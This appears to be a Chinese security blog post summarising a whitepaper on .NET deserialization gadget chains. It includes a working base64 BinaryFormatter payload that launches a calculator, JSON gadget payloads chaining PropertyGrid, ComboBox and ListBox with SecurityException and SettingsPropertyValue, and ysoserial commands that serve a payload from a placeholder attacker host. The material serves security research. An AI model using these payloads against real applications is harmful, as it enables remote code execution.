dotnet反序列化新链学习

@chudyPB在Hexacon 2023会议上发布了他的dotnet反序列化的研究白皮书,一个长达124页的pdf,这是我看过最强的一篇关于dotnet序列化漏洞的文章。

chudyPB从SolarWinds的json.net反序列化出发,从反序列化到黑名单绕过,其中黑名单绕过用到了多个gadget,其中有SolarWinds代码库中的,也有三方库中的。通过不断的黑名单绕过,展示了SolarWinds的多个历史漏洞。

然后展示了Delta Electronics InfraSuite Device Master中MessagePack的反序列化漏洞,针对该产品的设计架构,然后引出一个更大的利用面,即反序列化的恶意对象如果被再次序列化也会触发某些恶意操作。

image.png

对我而言这是一个新的利用面:不安全的序列化(Insecure Serialization),发生在序列化阶段。

接着作者对Insecure Serialization展示了几个gadget,然后由于序列化阶段调用的是getter,所以作者又找了几个getter call的gadget,然后串起来成为新的反序列化gadget。接下来我将主要对这部分进行学习。

# 不安全的序列化

image.png

image.png

image.png

image.png

根据serializeAs进行binaryformatter.deserialize(),参数都是可控的。

写出对应代码测试一下

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
using Newtonsoft.Json;
using System.Configuration;

namespace ConsoleApp2
{
    internal class Program
    {
        static void Main(string[] args)
        {
            SettingsProperty settingsProperty = new SettingsProperty("aa");
            settingsProperty.SerializeAs = SettingsSerializeAs.Binary;
            SettingsPropertyValue settingsPropertyValue = new SettingsPropertyValue(settingsProperty);
            settingsPropertyValue.Deserialized = false;
            // ysoserial.exe -c calc -g TextFormattingRunProperties -f binaryformatter
            settingsPropertyValue.SerializedValue = "AAEAAAD/////AQAAAAAAAAAMAgAAAF5NaWNyb3NvZnQuUG93ZXJTaGVsbC5FZGl0b3IsIFZlcnNpb249My4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj0zMWJmMzg1NmFkMzY0ZTM1BQEAAABCTWljcm9zb2Z0LlZpc3VhbFN0dWRpby5UZXh0LkZvcm1hdHRpbmcuVGV4dEZvcm1hdHRpbmdSdW5Qcm9wZXJ0aWVzAQAAAA9Gb3JlZ3JvdW5kQnJ1c2gBAgAAAAYDAAAAswU8P3htbCB2ZXJzaW9uPSIxLjAiIGVuY29kaW5nPSJ1dGYtMTYiPz4NCjxPYmplY3REYXRhUHJvdmlkZXIgTWV0aG9kTmFtZT0iU3RhcnQiIElzSW5pdGlhbExvYWRFbmFibGVkPSJGYWxzZSIgeG1sbnM9Imh0dHA6Ly9zY2hlbWFzLm1pY3Jvc29mdC5jb20vd2luZngvMjAwNi94YW1sL3ByZXNlbnRhdGlvbiIgeG1sbnM6c2Q9ImNsci1uYW1lc3BhY2U6U3lzdGVtLkRpYWdub3N0aWNzO2Fzc2VtYmx5PVN5c3RlbSIgeG1sbnM6eD0iaHR0cDovL3NjaGVtYXMubWljcm9zb2Z0LmNvbS93aW5meC8yMDA2L3hhbWwiPg0KICA8T2JqZWN0RGF0YVByb3ZpZGVyLk9iamVjdEluc3RhbmNlPg0KICAgIDxzZDpQcm9jZXNzPg0KICAgICAgPHNkOlByb2Nlc3MuU3RhcnRJbmZvPg0KICAgICAgICA8c2Q6UHJvY2Vzc1N0YXJ0SW5mbyBBcmd1bWVudHM9Ii9jIGNhbGMiIFN0YW5kYXJkRXJyb3JFbmNvZGluZz0ie3g6TnVsbH0iIFN0YW5kYXJkT3V0cHV0RW5jb2Rpbmc9Int4Ok51bGx9IiBVc2VyTmFtZT0iIiBQYXNzd29yZD0ie3g6TnVsbH0iIERvbWFpbj0iIiBMb2FkVXNlclByb2ZpbGU9IkZhbHNlIiBGaWxlTmFtZT0iY21kIiAvPg0KICAgICAgPC9zZDpQcm9jZXNzLlN0YXJ0SW5mbz4NCiAgICA8L3NkOlByb2Nlc3M+DQogIDwvT2JqZWN0RGF0YVByb3ZpZGVyLk9iamVjdEluc3RhbmNlPg0KPC9PYmplY3REYXRhUHJvdmlkZXI+Cw==";
            JsonConvert.SerializeObject(settingsPropertyValue, new JsonSerializerSettings() { TypeNameHandling = TypeNameHandling.All });
        }
    }
}

image.png

可以看到通过序列化调用getter时弹出了计算器

image.png

image.png

image.png

image.png

朴实无华,但是在实际写的时候发现了问题。直接调用getter确实可以,但是通过json.net不行,究其原因发现json.net在序列化时,如果重写了序列化函数GetObjectData,则会调用该函数来序列化,binaryformatter也是一样。

image.png

所以不会触发getter。作者也写了限制

image.png

不过无所谓,可以和后面的任意getter call串起来。

dll加载,略

# 任意getter call

image.png

他的SelectedObjects setter中可以调用obj的所有getter

1
2
3
4
5
6
7
8
{
    "$type": "System.Windows.Forms.PropertyGrid, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
    "SelectedObjects": [
        {
            "your": "object"
        }
    ]
}

东西太多 直接看堆栈

1
2
3
4
5
6
7
8
9
System.Object System.ComponentModel.PropertyDescriptor::GetValue(System.Object)
System.Windows.Forms.PropertyGridInternal.GridEntry[]
System.Windows.Forms.PropertyGridInternal.GridEntry::GetPropEntries(System.Windows.Forms.PropertyGridInternal.GridEntry,System.Object,System.Type)
System.Boolean System.Windows.Forms.PropertyGridInternal.GridEntry::CreateChildren(System.Boolean)
System.Void System.Windows.Forms.PropertyGridInternal.GridEntry::Refresh()
System.Void System.Windows.Forms.PropertyGrid::UpdateSelection()
System.Void System.Windows.Forms.PropertyGrid::RefreshProperties(System.Boolean)
System.Void System.Windows.Forms.PropertyGrid::Refresh(System.Boolean)
System.Void System.Windows.Forms.PropertyGrid::set_SelectedObjects(System.Object[])

循环遍历SelectedObjects,然后调用object的所有getter

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
{
    "$type": "System.Windows.Forms.ComboBox, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
    "Items": [
        {
            "your": "obj"
        }
    ],
    "DisplayMember": "obj的成员名称",
    "Text": "whatever"
}

和ComboBox大同小异

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
{
    "$type": "System.Windows.Forms.ListBox, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
    "Items": [
        {
            "your": "object"
        }
    ],
    "DisplayMember": "MaliciousMember",
    "Text": "whatever"
}

和上面一样,不写了

# 串起来

  • PropertyGrid+SecurityException
  • PropertyGrid+SettingsPropertyValue
  • ListBox+SecurityException
  • ListBox+SettingsPropertyValue
  • ComboBox+SecurityException
  • ComboBox+SettingsPropertyValue
  • CheckedListBox+SecurityException
  • CheckedListBox+SettingsPropertyValue

写几个简单的

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
{
    "$type": "System.Windows.Forms.PropertyGrid, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
    "SelectedObjects": [
        {
            "$type": "System.Security.SecurityException",
            "ClassName": "System.Security.SecurityException",
            "Message": "Security error.",
            "Data": null,
            "InnerException": null,
            "HelpURL": null,
            "StackTraceString": null,
            "RemoteStackTraceString": null,
            "RemoteStackIndex": 0,
            "ExceptionMethod": null,
            "HResult": -2146233078,
            "Source": null,
            "WatsonBuckets": null,
            "Action": 0,
            "FirstPermissionThatFailed": null,
            "Demanded": null,
            "GrantedSet": null,
            "RefusedSet": null,
            "Denied": null,
            "PermitOnly": null,
            "Assembly": null,
            "Method": "base64-encoded-binaryformatter-gadget",
            "Method_String": null,
            "Zone": 0,
            "Url": null
        }
    ]
}

image.png

json.net对其进行处理时,会先把里层的SecurityException对象反序列化出来,然后把SecurityException对象传递给SelectedObjects的setter,这个setter可以调用SecurityException对象的getter,当执行到get_Method时就触发了BinaryFormatter rce。

由此,从setter->getter->rce的链串起来了。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
{
    "$type": "System.Windows.Forms.ComboBox, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
    "Items": [
        {
            "$type": "System.Configuration.SettingsPropertyValue, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
            "Name": "test",
            "IsDirty": false,
            "SerializedValue": {
                "$type": "System.Byte[], mscorlib",
                "$value": "base64-encoded-binaryformatter-gadget"
            },
            "Deserialized": false
        }
    ],
    "DisplayMember": "PropertyValue",
    "Text": "whatever"
}

image.png

同样setter->getter->rce

# 其他gadget

今天才看到ysoserial.net新增了很多gadget,其中有一条类似于java中的jrmp client,找了找,原始的利用文章在这, https://code-white.com/blog/2022-01-dotnet-remoting-revisited/

利用也很简单

1
2
3
4
5
6
7
8
# generate a SOAP payload for popping MSPaint
ysoserial.exe -f SoapFormatter -g TextFormattingRunProperties -o raw -c MSPaint.exe  > MSPaint.soap

# start server to deliver the payload on all interfaces
RogueRemotingServer.exe --wrapSoapPayload http://0.0.0.0/index.html MSPaint.soap

# test the ObjRef gadget with the target http://attacker/index.html
ysoserial.exe -f BinaryFormatter -g ObjRef -o raw -c http://attacker/index.html -t

通过Remoting来进行soap反序列化,其实也能用来做dnslog。

image.png

image.png

比较可惜的是PictureBox没继承Serializable接口,不能被BinaryFormatter这种原生formatter序列化。

白皮书最后提到了dotnet5的payload,我觉得都不太好用,需要启用wpf,或者需要PresentationFramework.dll,而且都是dll加载,不过也算是新的gadget了,记一下。

  1. ObjectDataProvider
  2. BaseActivationFactory
  3. CompilerResults

# 总结

看我文章不如看原pdf。

文笔垃圾,措辞轻浮,内容浅显,操作生疏。不足之处欢迎大师傅们指点和纠正,感激不尽。